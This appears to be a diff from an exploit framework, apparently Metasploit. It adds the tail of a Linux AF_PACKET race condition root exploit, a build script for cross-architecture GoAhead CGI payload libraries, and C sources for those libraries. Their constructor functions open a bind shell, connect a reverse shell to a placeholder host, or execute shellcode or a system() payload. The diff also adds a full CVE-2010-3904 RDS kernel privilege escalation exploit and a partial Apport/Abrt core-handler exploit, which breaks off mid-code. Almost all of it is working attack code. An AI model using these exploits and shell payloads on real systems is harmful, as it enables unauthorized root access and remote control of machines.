if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
@@ -0,0 +1,288 @@
|
||||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
